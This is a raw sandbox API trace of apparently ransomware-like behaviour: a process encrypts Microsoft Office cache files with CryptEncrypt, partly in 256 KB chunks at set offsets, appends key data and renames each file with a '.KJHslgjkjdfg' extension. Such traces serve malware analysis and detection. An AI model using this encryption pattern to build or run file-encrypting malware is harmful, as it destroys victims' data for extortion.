SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.140] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.155] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.158] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.160] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.160] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.178] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.181] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.182] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.182] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.182] SetEndOfFile (hFile=0xf0) returned 1 [0164.185] GetProcessHeap () returned 0x2ef0000 [0164.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.185] GetProcessHeap () returned 0x2ef0000 [0164.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.185] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.kjhslgjkjdfg")) returned 1 [0164.186] CloseHandle (hObject=0xf0) returned 1 [0164.254] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0164.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.260] GetProcessHeap () returned 0x2ef0000 [0164.260] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.260] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0164.260] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0164.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0164.264] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.264] GetProcessHeap () returned 0x2ef0000 [0164.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.264] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0164.264] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.264] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0164.264] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0164.265] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0164.265] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0164.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0164.265] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0164.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0164.265] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.265] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x545, lpOverlapped=0x0) returned 1 [0164.265] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x550) returned 1 [0164.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.265] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x550, lpOverlapped=0x0) returned 1 [0164.266] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.266] SetEndOfFile (hFile=0xf0) returned 1 [0164.269] GetProcessHeap () returned 0x2ef0000 [0164.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.269] GetProcessHeap () returned 0x2ef0000 [0164.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.269] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0164.270] CloseHandle (hObject=0xf0) returned 1 [0164.270] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0164.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.272] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=28016276) returned 1 [0164.272] GetProcessHeap () returned 0x2ef0000 [0164.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.272] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.272] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff26c*=0xc, lpOverlapped=0x0) returned 1 [0164.276] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0164.276] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.276] GetProcessHeap () returned 0x2ef0000 [0164.276] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0164.276] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30) returned 1 [0164.277] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.277] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff26c*=0x30, lpOverlapped=0x0) returned 1 [0164.277] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0164.277] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0164.277] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0164.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0164.277] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0164.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0164.277] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.277] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.300] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.307] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.308] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.308] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.368] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.371] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.371] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.373] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0164.374] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0164.467] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0164.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.470] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0164.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.471] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0164.471] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.472] SetEndOfFile (hFile=0xf0) returned 1 [0164.474] GetProcessHeap () returned 0x2ef0000 [0164.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0164.474] GetProcessHeap () returned 0x2ef0000 [0164.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.474] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.kjhslgjkjdfg")) returned 1 [0164.475] CloseHandle (hObject=0xf0) returned 1 [0164.475] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0164.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.476] GetProcessHeap () returned 0x2ef0000 [0164.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.477] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0164.477] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0164.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0164.484] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.484] GetProcessHeap () returned 0x2ef0000 [0164.484] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.484] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0164.484] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0164.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0164.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0164.485] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.485] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x91975, lpOverlapped=0x0) returned 1 [0164.500] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x91980, dwBufLen=0x91980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x91980) returned 1 [0164.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.508] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x91980, lpOverlapped=0x0) returned 1 [0164.510] CryptDestroyKey (hKey=0x2f18248) returned 1 